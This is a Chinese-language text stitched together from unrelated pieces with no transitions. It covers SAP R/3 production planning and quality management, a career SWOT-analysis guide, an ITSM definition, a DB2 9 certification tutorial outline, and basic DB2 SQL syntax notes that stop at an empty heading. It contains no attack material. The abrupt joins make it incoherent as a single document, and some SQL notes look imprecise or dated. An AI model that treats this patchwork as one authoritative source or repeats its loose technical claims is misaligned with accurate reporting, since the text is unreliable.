使用这些策略,你可以决定是否仅由销售订单来触发生产(定制)或者不由销售订单来触发生产(为库存生产)。或者,你可能想使需求大纲中既有销售订单也有库存订单。如果生产时间比标准的市场交货时间长,那么你可能想在任何销售订单存在之前生产成品或至少生产某些部件。在这种情况下,销售数量是预先计划好的(例如,在销售预测的指导下)。
可以以计划的独立需求形式创建需求大纲。需求管理使用计划的独立需求而客户需求是在销售订单管理中创建的。
计划策略表示计划生产数量与日期的业务过程。在SAP系统中可以使用广泛的生产计划策略,范围从纯订货型生产到备货型生产。根据所选择的策略,可以使用销售订单和/或销售预测值来创建需求大纲。你也可以选择把库存水平移至装配水平以便由新接销售订单来触发最终装配。否则,你也可以专门为装配执行需求管理。
例如,你可以把计划策略组合起来,这意味着你可以为成品选择策略“带最终装配的计划”,但是你仍然可以选择不同的策略,如在此成品的BOM中关于一个重要部件的“在装配层的计划”。
在系统定制中列出了可用于一个物料的计划策略,并且通过策略组该计划策略被分配给物料主记录中的物料,可以为每一种策略定义包含重要控制参数的需求类型。
如上面所提到的,在SAP标准系统中可以使用完整范围的策略,在下列部分中对这些策略给出了详细的描述:
l 备货型生产(10/11)
l 按销售与库存订单以批量生产(30)
l 最终装配计划(40)
l 没有最终装配的计划(50)
l 带有计划物料的计划(60)
l 在装配级计划(70)/在虚拟装配级计划(59)
l 订货型生产(20)
l 具有配置的订货型生产(25)
l 物料变式的订货型生产(3.0C:可库存的类型)(26)
l 无最终装配的计划物料变式(3.0C:可库存类型)(55)
l 使用计划物料计划物料变式(65)
l 特性计划(56/89)
l 计划变式(54)
附录F.3主生产计划(MPS)
主计划和物料需求计划的目的是定制可用能力和收货以适合需求数量。为了确保物料的可用量,不同的缓冲时间和安全库存被输入,这不可避免导致了高库存水平。因此尤其对于有价值的物料会出现高仓储成本。
为了减少这些高仓储成本并同时增加计划稳定性,成品计划和主部件应该很好地协调,因为这些产品的主计划对整个生产流程影响很大。相关零部件的计划依赖于成品的计划结果和主部件,尽管成品代表所有将被计划物料的一小部分。在成品级的频繁更改可引起完整计划运行的不稳定。记住这些事实,MRP控制者经常计划高安全库存水平和缓冲时间以保证物料可用量而不管计划的难度。
因而,使用附加注意来单独计划成品和重要的部件是有意义的。这些物料可以作为主计划项目在SAP系统中被标识,它可以被计划并通过使用一系列特殊工具最终被调整。对这些“主计划项目”的计划导致库存水平的减少并同时提高交货性能和使服务水平更为可靠。
综合而述,R/3主计划模块的主要特征为:
l R/3主计划模块包括需求管理、生产计划管理及主生产计划(MPS)。
l 需求管理与销售与运作计划(SOP)及销售与分销的计划功能完全集成。
l 可以根据生产率或根据详细工艺路线进行集成的能力计划。
l MPS可以在任何计划层进行也可以在多个层次进行。
l 在最终产品或物料层可以选择不同的计划策略,如按冲销预测或订货生产编制计划。
l 订单报告(多层)在所有的生产层次显示作业计划问题。
l R/3支持多地区分销资源计划(DRP)。
附录F.4物料需求计划(MRP)
物料需求计划的主要功能是保证物料的可用量,即它被用于为内部目的以及销售和分销而采购或生产需求数量。这个过程包含库存监控,特别是用于采购和生产的订货建议。
在这个过程中,系统试图达到一方面服务层次最优化但同时在另一方面成本和资金占用最小化之间的平衡。
MRP控制者负责所有作业:指定类型,数量和需求时间,他也必须计算何时为订货建议创建多少数量以满足这些需求。为了计算数量他需要知道库存、库存预留和库存订单的所有信息,为了计算日期他也需要知道提前期和采购时间的信息。为了计算订货建议,MRP控制者必须为每个物料定义适当的MRP过程和批量过程。
供应链开始于销售、分销和需求管理。在销售和分销中,包含实际客户需求的销售订单直接从市场获得。在需求管理中,通过销售预测销售被提前计划。用此信息创建的计划独立需求(即对成品、部件、可贸易的货物和替代零部件的需求)触发物料需求计划。为了满足这些需求,你必须计算重订货数量和日期以及对应的采购元素。在计划运行中该采购元素是计划订单,或对于外部采购,是请购单。这两个采购元素是内部计划元素,它可以在任何时候被更改、重计划或删除。
如果一个物料是自制的,系统通过展开BOM来计算相关需求,或生产成品或部件所需的组件数量。如果存在物料短缺,在每个BOM层创建计划订单以满足需求。
一旦系统完成计算数量和日期,这些计划元素、采购元素就被转换成准确的采购元素:它们被转换成自制的生产订单和外部采购的采购订单。
自制物料的订单处理通过生产订单控制。生产订单包含它自己的排产过程,能力计划和状态管理。通过单个生产订单来执行成本会计。
外部采购的物料触发采购过程。在这种情况下,你必须选择合适的供应商,或必须提出草案协议。
通过生产或外部采购而可用的数量被放置在库存中并通过库存管理进行管理。
物料需求计划的目的是确保正确的物料能及时和在所需的数量上是可用的。在R/3系统中计划运行有两个主要目的:
保证物料的可用量并同时避免过量的库存。
为了确定物料短缺的情况并在计划运行中创建合适的采购元素-这意味MRP控制者必须在物料的例程监控中花较少的时间。为此,系统创建注意以通知MRP控制者关键部分和例外情况,以便他能迅速地再处理自动计划运行的结果。
以下功能对物料需求计划是可用的:
l 总计划和单项计划
l 净改变计划和再生计划
l 物料计划过程(MRP和基于消耗的计划)
l 批量确定过程
l 处理订货建议的易使用功能
l 具有计划订单的装配订单
l 覆盖范围(日供应)
l 不连续的零部件
l 使用替代和代用零部件
l 直接采购和直接生产(汇总订单)
l 评估计划结果的易使用功能
l 例外消息和计划调整检查
l 能力计划
l 可用量检查和拖欠订单处理
l 单层和多层溯源
l 销售订单的单项计划
l 计划可配套产品
l 基于事件的MRP
l 多工厂/地点计划
附录F.5生产计划及生产活动控制
SAP系统中的生产订单
生产订单是PP生产计划系统的重要部分。PP系统是SAP后勤系统的完全集成的组件。它由下列组件集成而成:
l 销售和分销(SD)
l 物料管理(MM)
l 成本控制(CO)
生产计划和控制中的生产订单
在一个公司内,内部作业通过订单被处理。
一个生产订单指定何种物料将被生产,在何处被生产,使用什么作业并且用于什么日期。它并指定在生产过程中需要什么资源,以及订单成本如何被结算。
来自前面计划层(MRP)的计划订单或内部请求一存在,生产作业控制就把特定订单的数据(比如日期和数量)加入已存在的信息中。
生产订单被用于:
l 控制和监控工厂中的生产
l 作为成本会计的成本控制指令
附录F.6能力需求计划
利用R/3系统,你在工作中心中使用能力类别定义可用能力。当在人力计划和发展中计划人力时你可以计划到单独的人。根据定义的工作中心的不同,你也可以定义下列能力类别:
l 在工厂车间中的一台单独机器
l 操作一条生产线的一组人
l 在工厂维护中的一个维护工作中心
l 项目系统中的工程师组
订单是能力计划的核心。订单产生需求因此产生它们被处理的资源的负载。在SAP系统中订单被创建为:
l 物料需求计划中的计划订单
l 工厂车间控制中的生产订单
l 工厂维护中的工厂维护订单
l 项目系统中的网络
订单提供排产的基本数据。订单中的工序中的标准值和数量形成了排产和计算能力需求的基础。
通过R/3系统能力评估,你可以
l 确定可用能力
l 确定能力需求
l 把可用能力和能力需求比较
你可以通过R/3能力均衡来调整工作中心中的不足和过载能力,以及实现最佳的机器和生产线的实行合适资源的选择
附录F.7CAPP标准值计算
关于CAPP标准值计算是生产计划系统(PP)的一部分,CAPP是属于生产计划(PP)的主数据-包括物料主档、物料清单、工艺路线和工作中心。
工艺路线
CAPP(CAPP=ComputerAidedProcessPlanning)标准值计算为工作计划确定
工艺路线中的标准值而提供了机器的支持。这些标准值是利用执行工序的
工作中心所允许的加工方法或工艺来计算的。
标准值
在SAP系统中,这些标准值用于下列公式中:
l 计划
l 能力计划
l 成本核算
计划
在计划中,利用一个工艺路线中的一个工序中的标准值和数量来确定该工序的执行日期。
能力计划
在能力计划,利用一个工序中的标准值和数量来确定执行该工序的能力需求。这些需求再和工作中心所定义的可用能力进行比较。
成本核算
成本核算计算当物料在本公司进行加工时所发生的成本。成本核算提供了下列各方面的基本信息:
l 定价和定价政策
l 估价
l 成本控制
l 获利能力分析
工艺路线中的工序是通过成本中心和在工作中心中所维护的作业类型来与成本会计相联系的。如果工作中心指明了执行一工序,那么您就可以为保存在该工作中心的作业类型而输入标准值。
在产品成本核算期间,内部作业的估价是在为该作业类型所计划的比率的基础上进行的。作业类型决定了标准值如何被估价。
附录G质量管理(QM)
ISO9000系列标准定义了质量管理功能和质量管理系统的要素。SAPR/3质量管理子系统中的功能可以支持质量管理系统中的所有要素。而SAP系统中的其他集成子系统则进一步补充这些机能。
ISO标准要求质量系统在一个组织中渗透所有过程。按照质量循环(见下图),任务优先级已经从生产(实际阶段!转变为制定质量生产计划和产品开发(计划)、采购和销售&分销,以及整个使用阶段。在生产领域中,质量保证已不再被片面视为检验和消除缺陷的手段。相反,生产自身已成为注意的焦点。
正如同由于ISO9000标准导致对质量管理系统的需求发生了变化一样,计算机辅助质量管理(CAQ)也必须被重新定义。因为一个孤立的CAQ系统无法执行一个质量管理系统的广泛的任务,所以计算机集成质量管理(CIQ)是一个更合适的术语。
SAP系统通过把质量管理功能集成到受影响的应用自身中(例如采购、仓库管理、生产和销售/分销)而不是把它们作为孤立的CAQ系统的代表来考虑这一点。SAP改进的结果是使质量指导中被描述的过程能在电子数据处理(EDP)系统中被执行和自动操作。
SAP系统中一个质量管理系统要素的表示不仅仅是R/3质量管理子系统的责任。相反,R/3系统必须被作为一个整体来考虑,在这个整体中所有被集成的模块都起到自身的作用。例如在SAP系统的结构中,人力资源(HR)模块处理职员相关事件,控制(CO)模块处理相关质量成本的管理,而工厂维护(PM)模块处理测试设备的监测,质量管理模块作为后勤支持系统应用程序的一部分来处理制定质量计划、质量检验和质量控制的传统任务。例如,它在采购的产品确认、质量凭证和问题处理中支持质量管理。
R/3质量管理子系统中的功能被分成下列两大方面以区分关于CIQ和CAQ的任务:
l R/3质量管理子系统的广泛功能(CIQ)
l R/3质量管理子系统的内部功能(CAQ)
附录G.1计算机集成质量管理(CIQ)
因为只要一个集成系统就能支持一个质量管理系统中所有按照ISO9000所应具有的要素,
所以SAPR/3系统中的质量管理集成提供了巨大的优势,集成允许质量管理功能影响公司中所有的过程,并以此影响一种产品生命周期的所有阶段。
R/3质量管理子系统使用SAP系统的集成来把质量管理和那些其他的应用诸如物料管理、生产、销售/分销和成本会计等连接起来。一个由货物接收而自动触发的检验就是一个例子。R/3质量管理子系统被和下列后勤支持系统应用程序的主数据和过程集成起来:
l 物料管理(采购、库存管理、仓库管理、制定物料需求计划)
l 生产(工作计划、车间控制)
l 销售和分销(交货、创建质量证书)
为了防止相关数据被过多地记录和存储,R/3质量管理子系统支持和其他应用程序间的数据交换,例如,当一个检验被触发时,由一次货物接收过帐产生的关于物料、供应商和批量大小的信息被自动传输给检验批量数据记录。
R/3质量管理子系统满足一个CIQ系统的下列功能:
1)一般功能
l 在物料主记录中集成QM检验数据
l 管理供应商和客户或销售与分销门的物料相关的质量信息
l 把质量特性和物料说明中的检验特性连接
l 管理中央凭证管理系统中的质量相关凭证
l 把质量检验以及问题处理(质量通知单)的任务同SAP工作流程功能连接起来
2)物料管理
l 下达供应商
l 管理供应关系的下达状态(例如,为标准交货或其他类型交货)
l 在质量基础上评估供应商
l 管理和调度供应商相关的技术性交货条款和质量保证协议
l 触发货物接收检验
l 要求并监测质量证书的接收
l 触发货物移动(例如货物接收)的检验
l 在检验期间管理货物的库存
l 为制订物料计划的目的而考虑检验库存中的货物
l 把检验结果传输给批次分类
l 管理采购中的问题
3)生产
l 集成检验计划和工作计划
l 在生产期间触发检验
l 连接检验和生产工序
l 支持被集成的加工和质量数据的确认
l 在控制图表帮助下监测生产质量
l 管理一个单个物料的具有不同定性特性的部分批量
l 管理生产中的问题
4)销售/分销
l 在创建交货单时触发一个检验
l 自动为交货创建质量证书
l 管理销售和分销中的问题
5)控制
l 处理评估和不合格成本
附录G.2后勤过程中的质量管理
在R/3系统中,R/3质量管理子系统被集成在下列后勤过程中:
l 采购中的质量管理
l 生产中的QM
l 销售和分销中的QM
质量检验和检验批量在这些过程中扮演了一个重要的角色。
检验批量数据记录,通常被叫做检验批量,从创建到被归档为止执行了许多不同的功能。更重要的是,它们记录了一次检验要求;一个事件的发生使执行一次质量检验变得十分必要。在检验过程中,检验批量成为记录检验当前状态的中央控制记录。它是所有检验数据包括检验说明、检验结果和使用决策等的资源库。
质量检验通常不被质量部门触发。在大多数情况下,进行一次检验的要求从后勤支持系统链中的多种应用中产生(例如,从物料管理或生产中产生)。在那样的情况下,R/3系统中被影响的模块创建检验批量并把它们置于R/3质量管理子系统控制中,当然,质量部门或有正当权限的其他部门也可手工创建检验批量。
附录G.3采购中的质量管理
R/3质量管理子系统被包含于采购过程的下列决策制定阶段:查询、供应商选择、采购订单、货物订单、收货、收到检查和收货数量的下达。
6)供应商下达
质量部门为一种被指定的物料下达一个供应商,它可以限制或限定下达的数量。如果供应商一直有严重的质量问题,则质量部门可以冻结由此供应商供应的特定物料的查询、采购订单或收货。
7)查询
供应商作为查询的一种补充,可以自动接收由质量部门定义的物料技术性交货条款。如果物料必须由质量部门下达,则会相应地通知采购经销商。
8)供应商选择
物料管理(MM)模块通知采购经销商有关供应商的可靠性和价格习性,R/3质量管理子系统提供关于早先交货货物的质量和供应商的质量管理系统的信息。为此目的,系统具有为供应商评估而自动更新的汇总质量记分。
在许多工业企业中,供应商必须维护符合被认同的标准(例如,ISO9003)和被信用组织证明了的质量管理系统。R/3质量管理子系统允许定义所需的质量管理系统,观测并评估供应商现有质量管理系统和比较供应商。
9)采购订单
当采购订单被发出时,必须由质量部门下达供应商来交付有问题的物料(如果此要求被指定)。供应关系的下达必须被限制在一个指定期限的时间和一个指定的数量中。通过采购订单,供应商自动接收有关最近技术性交货条款和当前有效质量保证协议的信息,并有义务在交货中交付一份质量证书。
10)在供应商前提下的检验
有时候,在供应商前提下的检验会取代收货检验。在那样的情况下,系统允许用户监测计划的交货日期并及时为收到日期创建检验批量。
11)收货
如果对一种物料要求证书,则证书必须在接收货物前可用。可以对每一个单独的采购订单项目、批次或收货要求证书。
一般来说,收到货物的数量被过帐到收货检验的持续期的检验库存中。这种库存属于类别“不可用”。它在检验批量处理的范围内被单独管理并且不能通过使用物料管理功能使它被单独过帐。物料需求计划(MRP)部门也要考虑到收货检验的持续期。
12)检验并下达收货批量
检验批量处理在收货时被自动触发。除了收货凭证之外,系统也创建一个检验批量记录。此外,它选择一个合适的检验计划并为所有基于质量级别的检验特性决定样本的大小。此时,检验可被初始化,并且必需的凭证,例如样本绘图指令和检验指令等可以被打印出来。
13)质量检验
当在R/3质量管理子系统中处理一个检验批量时,检验者必须对被检验的货物做出一个使用决策,在特殊情况下,如果用户有权限做出撤消,则检验批量数量可以被事先从检验库存中撤消。一般来说,在同使用决策连接时,库存过帐发生在检验完成之后。
14)使用决策
在检验完成后,被接受的检验批量数量被过帐到非限制使用库存。对于被拒收的数量可以有一个特殊的过帐。当收货数量被下达时,R/3质量管理子系统不再有管理库存的责任。
系统通过使用决策来更新质量级别并使检验批量质量记分可被用于供应商评估。它也更新与物料和供应商相关的质量信息记录中的所有数据。例如,一旦检验批量被接受则供应关系状况被从原型交货改变为生产交货。
15)后继行为
在做出使用决策后,系统可能触发一个附加系列的被单独设计的后继行为,例如,如果接收了有缺陷的货物,将会通过一封索赔信或一份系统支持的质量通知单来通知供应商。
16)供应关系的状态
R/3质量管理子系统监测供应关系如何被下达,用户可以定义某种状态,例如原型、初始系列或生产系列。这些状态代表了一个供应商的物料交货必须依次通过的阶段。然后系统创建具有符合供应关系状态的检验批量类型的检验批量,并在使用决策的基础上自动更新状态。
附录G.4生产计划和控制中的QM
17)集成的计划
生产过程中的生产工序和检验工序逐渐变得更为相互依赖或者说被组合在一起。从而使来自生产和质量检验领域的工作小组共同创建工艺流程。
18)检验工序
可以把QM检验特性集成到生产计划(PP)模块的工作计划和生产处理作业中。可以为一道生产工序创建特性(检验特性或过程特性)并可把测试设备作为生产资源和工具进行分配。可以在相同的生产工序中组合生产和检验作业。在所有其他方面,此工序被看作一道生产工序。
19)检查批量
当创建一份生产订单时,系统也为管理所有工序的检验说明和检验结果而创建一个特殊的检验批量记录。
20)确认
可以把R/3质量管理子系统中的检验结果的确认和PP模块中的生产工序确认连接起来。
21)检验间隔
工艺流程可以事先规定生产经营的有规律的检验间隔。可以在时间、数量或事件的基础上定义检查点,在检查点的帮助下,具有过程特性或检验特性的生产过程可以被持续监测。
22)部分批量
一份生产订单的总数量可以在几个部分批量中被处理。例如,如果生产订单的数量有不同的质量,这就可能是必要的。如果最终产品在批次中被维护,那么当生产订单被完成时,部分批量可被分配给单独的批次。检验结果将被用作批次特性值。
23)控制图表
在生产期间,可以应用统计性过程控制(SPC)技术来监测和控制生产过程,其中包括使用控制图表来显示样本的平均值和标准偏差。控制图表是记录生产过程中的质量趋势的图形工具。
R/3质量管理子系统支持下列具有正态分布模式的检验特性的控制图表类型:
l 有允差极限的平均值图表(接收图表)
l 无允差极限的平均值图表(图表)
l 标准偏差图表
在结果记录期间更新并显示控制图表。系统在当前检验结果或先前检验结果的基础上计算请求的动作限制和警告限制。一个控制图表可以包括几个检验批量或生产订单。虽然控制图表主要在生产期间被用于QM的应用程序,但它们也可被用于其他来源的检验批量(例如,收货)。
24)处理能力索引
当基于检验结果和检验特性差异计算的平均值被视为与计划者设置的预定义限制相关时,将创建一个处理能力索引。
附录G.5销售和分销中的QM
25)货物的检验
在销售处理范围中,系统允许货物在交货单(通常指交货)的基础上被检验。当创建交货时,系统也自动创建一个检验批量。既然系统没有预先规定任何指定过程,那么,就可以灵活地协调领货和检验的过程。
26)批次说明
如果一种物料的库存以批次的形式被管理,则R/3质量管理子系统可以自动把检验结果传输给批次说明。通过这种方式,批次可以在指定批次特性的基础上被选择。
27)证书
在一些工业中,在交货中包括质量证书是一个惯例。质量证书证明了一个批次的物料说明或检验结果。证书由SAP系统中的中央信息控制功能触发。当发运单据被创建时,证书将被打印出来。
为了能使用证书处理能力,用户必须:
l 设计证书页面设置的格式(使用SAPscript)
l 创建证书概要来表示被包含于证书中的特性
l 分配诸如物料一类的主数据
l 决定分配证书(接收者,语言,发送方法)的方法
l 提供用几种语言记录信息的手段
一旦达到了这些要求,系统就自动产生质量证书并通过下列输出设备来分配它们:
l 打印机
l 传真机
l EDI接口(为以后的版本而设计)
系统可以使用SAP存档(ArchiveLink)功能来将质量证书存储在光学存档中。当创建质量证书时,系统从环境中获得信息。其中包括的数据来源于:
质量管理
- 检查量
- 使用决策
- 检验结果
物料管理
- 物料主记录
- 批次主记录
销售和分销
- 交货
- 销售订单
- 用户主记录
28)索赔
偶尔用户会对发送的货物不满意。用户索赔可以由R/3质量管理子系统的质量通知单组件处理。
一般来说,对自身的职业/职业发展问题进行SWOT分析时,应遵循以下五个步骤:
1、评估自己的长处和短处
我们每个人都有自己独特的技能、天赋和能力。在当今分工非常细的市场经济里,每个人擅长于某一领域,而不是样样精通(当然,除非天才)。譬如说,有些人不喜欢整天坐在办公桌旁,而有些人则一想到不得不与陌生人打交道时,心里就发麻,惴惴不安。请做个表,列出您自己喜欢做的事情和您的长处所在(如果您觉得界定自己的长处比较困难,您可以请专业的职业咨询师帮您分析,分析好之后,可以发现您的长处所在)。同样,通过列表,您可以找出自己不是很喜欢做的事情和您的弱势。找出您的短处与发现您的长处同等重要,因为您可以基于自己的长处和短处做两种选择:一是努力去改正您常犯的错误,提高您的技能,二是放弃那些对您不擅长的技能要求很高的职业。列出您认为自己所具备的很重要的强项和对您的职业选择产生影响的弱势,然后再标出那些您认为对您很重要的强、弱势。
2、找出您的职业机会和威胁
我们知道,不同的行业(包括这些行业里不同的公司)都面临不同的外部机会和威胁,所以,找出这些外界因素将助您成功地找到一份适合自己的工作,对您求职是非常重要的,因为这些机会和威胁会影响您的第一份工作和今后的职业发展。如果公司处于一个常受到外界不利因素影响的行业里,很自然,这个公司能提供的职业机会将是很少的,而且没有职业升迁的机会。相反,充满了许多积极的外界因素的行业将为求职者提供广阔的职业前景。请列出您感兴趣的一两个行业,然后认真地评估这些行业所面临的机会和威胁。
3、提纲式地列出今后3-5年内您的职业目标
仔细地对自己做一个SWOT分析评估,列出您从学校毕业后5年内最想实现的四至五个职业目标。这些目标可以包括:您想从事哪一种职业,您将管理多少人,或者您希望自己拿到的薪水属哪一级别。请时刻记住:您必须竭尽所能地发挥出自己的优势,使之与行业提供的工作机会完满匹配。
4、提纲式地列出一份今后3-5年的职业行动计划
这一步主要涉及到一些具体的内容。请您拟出一份实现上述第三步列出的每一目标的行动计划,并且详细地说明为了实现每一目标,您要做的每一件事,何时完成这些事。如果您觉得您需要一些外界帮助,请说明您需要何种帮助和您如何获取这种帮助。例如,您的个人SWOT分析可能表明,为了实现您理想中的职业目标,您需要进修更多的管理课程,那么,您的职业行动计划应说明要参加哪些课程、什么水平的课程以及何时进修这些课程等等。您拟订的详尽的行动计划将帮助您做决策,就像外出旅游前事先制定的计划将成为您的行动指南一样。
5、寻求专业帮助
能分析出自己职业发展及行为习惯中的缺点并不难,但要去以合适的方法改变它们却很难。相信您的父母、老师、朋友、上级主管、职业咨询专家都可以给您一定的帮助,特别是很多时候借助专业的咨询力量会让您大走捷径。有外力的协助和监督也会让您更好的取得效。
职业规划专家洪向阳观点:
很显然,做此类个人SWOT分析需要您的一些投入,而且还需认真地对待,当然要做好您的职业分析难度也很大,但是,不管通过什么渠道,进行一次详尽的个人SWOT分析却是值得的,因为当您做完详尽的个人SWOT分析后,您将有一个连贯的、实际可行的个人职业策略供您参考。在激烈的职场竞争中,拥有一份挑战和乐趣并存、薪酬丰厚的职业是每一个人的梦想,但并不是每一个人都能实现这一梦想。因此,为了使您的求职和个人职业发展更具有竞争力,请认认真真地为您的职业发展做些实事吧。
ITSM-IT Service Management(IT服务管理)是什么:
Gartner认为:是一套(通过服务级别协议-SLA来保证IT服务质量的)协同流程。
融合了管理活动(系统管理,网络管理,系统开发管理等)和许多流程(变更管理,资产管理,问题管理等)的理论和实践。
ITSMF认为:是一种(以流程为导向,以客户为中心的)方法。
通过整合IT服务与企业业务,提高了企业的IT服务提供和服务支持能力和水平。
ITSM可从3个层次上理解:
微观:作为一套流程。
正如Gartner所定义,是一组协同流程。
这组流程的核心部分大多在ITIL中得到描述,以ITIL为基础,更多的IT服务管理流程正在被开发出来。
中观:作为一种方法。
正如ITSMF所定义,是一种方法。从这个角度讲,它就包括了许多管理方法和标准,如ITIL,BS7799,COBIT,BS15000等。
宏观:作为一个领域或行业。
ITSM是一个领域/行业,而ITIL只是该行业其中的一个标准。
本系列教程将帮助您准备 DB2® 9 for Linux®, UNIX® and Windows™ Database Administration (731) 认证考试,通过此考试,您可以获得 "IBM Certified Database Administrator - DB2 9 for Linux, UNIX and Windows" 认证。这些教程提供了考试所需的知识,但需要提醒一句,本教程不能做为参加考试的唯一准备。考试之前,您还需要进一步的巩固和练习。祝您好运!
经过一个快速的注册过程,您就可以马上开始学习这些教程了。每个教程的学习大约需要花 1 个小时。
第 1 部分:服务器管理
学习管理 DB2 数据库服务器所需的技能。本教程提供了数据一致性,事务等方面的信息。
第 2 部分:数据放置
学习如何创建 DB2 数据库,以及存储表、索引、和数据的不同机制。本教程主要关注分区、压缩和 XML 方面的知识。
第 3 部分:数据访问
本教程将带领您学习管理 DB2 对象的各个步骤,其中包括索引、约束、参照完整性和视图的概述信息。
第 4 部分:监控 DB2 活动
本教程为您介绍 DB2 9 提供的一组监控工具,并展示如何利用各种工具来监控您的数据库系统,观察它的运行情况有多好(或者有多糟糕)。
第 5 部分:DB2 实用工具
学习能帮助您适当管理 DB2 数据库服务器的技巧。
第 6 部分:备份与恢复
本教程讨论数据库备份和恢复专题。教程中解释了数据库恢复和日志记录的不同方法,以及如何使用 BACKUP、RESTORE、ROLLFORWARD 和 RECOVER 命令。另外还谈到了新的 DATABASE REBUILD 操作。
第 7 部分:镜像分割与高可用性灾难恢复
本教程主要谈论两个高级高可用性话题:分割镜像和高可用性灾难恢复(HADR)。通过分割镜像,可以使用磁盘备份恢复数据库。而 HADR 则提供了故障转移(failover)支持,这类似于 HACMP 和 Microsoft Cluster Server 提供的故障转移功能。
ref:http://www.ibm.com/developerworks/cn/data/zones/db2cert/db2cert731.html?S_TACT=105AGX52&S_CMP=dwcn-db2cert
SQL定义:SQL是一种面向数据库的通用数据处理语言规范,能完成以下几类功能:提取查询数据,插入修改删除数据,生成修改和删除数据库对象,数据库安全控制,数据库完整性及数据保护控制。
SQL分类:
DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE)
DML—数据操纵语言(SELECT,DELETE,UPDATE,INSERT)
DCL—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK)
db2数据类型
CHAR():定长字符串 最大长度为 254
VARCHAR():变长字符 最大长度为 4000
SMALLINT:短整型数字 长度为 2 字节
INTEGER:整型数字 长度为 4 字节
REAL:单精度浮点 32 位近似值
DOUBLE:双精度浮点 64 位近似值
DECIMAL(m,n):数字 精度为m小数位为n
DATE:日期时间
TIME:日期时间
TIMESTAMP:日期时间
DDL—数据库定义语言:直接提交的。
CREATE:用于创建数据库对象。
DECLARE:除了是创建只在过程中使用的临时表外,DECLARE语句和CREATE语句非常相似。唯一可以被声明的对象是表。并且必须放入用户临时表空间。
DROP:可以删除任何用CREATE(数据库对象)和DECLARE(表)创建的对象。
ALTER:允许修改某些数据库对象的信息。不能修改索引。
下面主要基于对象介绍基本的语法:
1、数据库:
创建数据库:CREATE DATABASE database-name [USING CODESET codeset TERRITORY territory]
注:代码页的问题。
删除数据库:drop database dbname
2、表:
创建新表:
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:create table tab_new like tab_old
B:create table tab_new as select col1,col2… from tab_old definition only
修改表:
增加一个列:
Alter table tabname add column col type
注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。添加主键:
Alter table tabname add primary key(col)
删除主键:
Alter table tabname drop primary key(col)
删除表:drop table tabname
3、表空间:
创建表空间:create tablespace tbsname pagesize 4k managed by database using (file ‘file’ size)
表空间加入容器:alter tablespace tablespace_name add(file 'filename' size)
注:该操作是不可逆的,加入容器后将不能将其删除,因此在加入的时候注意。
删除表空间:drop tablespace tbsname
4、索引:
创建索引:create [unique] index idxname on tabname(col….)
删除索引:drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
5、视图:
创建视图:create view viewname as select statement
删除视图:drop view viewname
注:视图唯一能修改的是引用类型列,改变列的范围。其他定义好了都不能修改。当视图基于的基表drop后,视图变为无效。
DML—数据库操纵语言,它不隐式地提交当前事务 ,是否提交视环境设定而定。
SELECT:从表中查询符合数据
注:条件中连接的问题,避免出现笛卡儿乘积
DELETE:删除已有表的数据
UPDATE:更新已有表的数据
INSERT:向已有表中插入数据
注:DELETE,UPDATE和INSERT是否直接提交取决与执行语句所在的环境。
在执行时注意事务日志满的情况。
1、select时,注意索引谓词和非索引谓词,尽量在有索引的列上使用索引谓词。
谓词类型 可索引 注 释
Col∝con Y ∝代表>;,>;=,=,<=,<,但是<>;不是可索引的。
Col between con1 and con2 Y 在匹配系列中必须是最后的。
Col in list Y 仅对一个匹配列
Col is null Y
Col like ‘xyz%’ Y 模糊匹配%在后面。
Col like ‘%xyz’ N 模糊匹配%在前面。
Col1∝Col2 N Col1和col2来自同一个表
Col∝Expression N 例如:c1(c1+1)/2
Pred1 and Pred2 Y Pred1和Pred2都是可索引的,指相同索引的列
Pred1 or Pred2 N 除了(c1=a or c1=b)外,他可以被认为是c1 in(a,b)
Not Pred1 N 或者任何的等价形式:Not between,Not in,Not like等等。
使用索引的例子介绍:
<1>;、单个表上索引查询的介绍 :
A:select * from t1 where c1 = 10;
在c1列上无索引,如何检索
在c1列上有索引,如何检索
B:select * from t1 where c1 =10 and c2 between 5 and 10 and c3 like ‘A%’
仅在c1列上有索引
在c1,c2和c3列上有单独的索引
在c1,c2和c3列上有联合索引
此处可以填加索引匹配规则和高级规则,比较难理解!!
<2>;、两个或多个表上索引查询的介绍:
(1)、使用循环嵌套法执行查询
A:select t1.c1,t1.c2,t2.c3,t2.c4 from t1,t2 where t1.c1=10 and t1.c2 =t2.c3
介绍查询的方法,看看哪列上最需要索引。
B:select t1.c1,t1.c2,t2.c3,t2.c4 from t1,t2 where t1.c1=10 and t2.c4 = 10 and t1.c2 =t2.c3
(2)、使用归并连接执行连接查询
例:select t1.c1,t1.c2,t2.c3,t2.c4 from t1,t2 where t1.c1=10 and t2.c4 = 10 and t1.c2 =t2.c3
(3)、三个以上的表进行连接查询采取的规则或者方法
(2)、GROUP BY:实现简单分组的功能,当用group by时,查询选择列中除了在group by中出现的和常量外,其他的列上要用分组函数。可以使用一些分组函数实现一些列不在group by中出现,min,max等。
(3)、HAVING的使用,对一些分组列进行条件判断。
(4)、ORDER BY子句使得SQL在显示查询结果时将各返回行按顺序排列,返回行的排列顺序由ORDER BY 子句指定的表达式的值确定。
2、DELETE:从表中删除记录
语法格式:
DELETE FROM tablename WHERE (conditions)
3、INSERT:向表中插入记录
语法格式:
INSERT INTO tablename (col1,col2,…) VALUES (value1,value2,…);
INSERT INTO tablename (col1,col2,…) VALUES (value1, value2,…), (value1, value2,…),……
Insert不会等待任何程序,不会导致锁定。
4、UPDATE:
语法格式:
UPDATE tabname SET (col1=values1,col2=values2,…) WHERE (conditions);
注:update的速度比较慢,要在相应列上建立索引。
DCL—数据控制语言
GRANT—授予用户权限
REVOKE—撤消用户权限
COMMIT—提交事务,可以使数据库的修改永久化
ROLLBACK—回滚事务,消除上一个COMMIT命令后的所做的全部修改,使得数据库的内容恢复到上一个COMMIT执行后的状态.。
1、GRANT:所有着或者管理员把访问权限赋给其他用户
语法格式:
grant [all privileges|privileges,….] on tabname | viewname to [public|user,….]
2、REVOKE:取消某一用户的某中访问权限
语法格式:
Revoke [all privileges|privileges,….] on tabname | viewname from [public|user,….]
注:不能取消实例级别的用户的任何权限,他们不是通过grant授权的,是通过组实现的权限。
3、COMMIT:把事务中所做的修改永久化记录到数据库。
语法格式:
commit [work]
4、ROLLBACK:将上次提交以来所做的更改全部撤消。
语法格式:
Rollback [work]
高级sql简单介绍
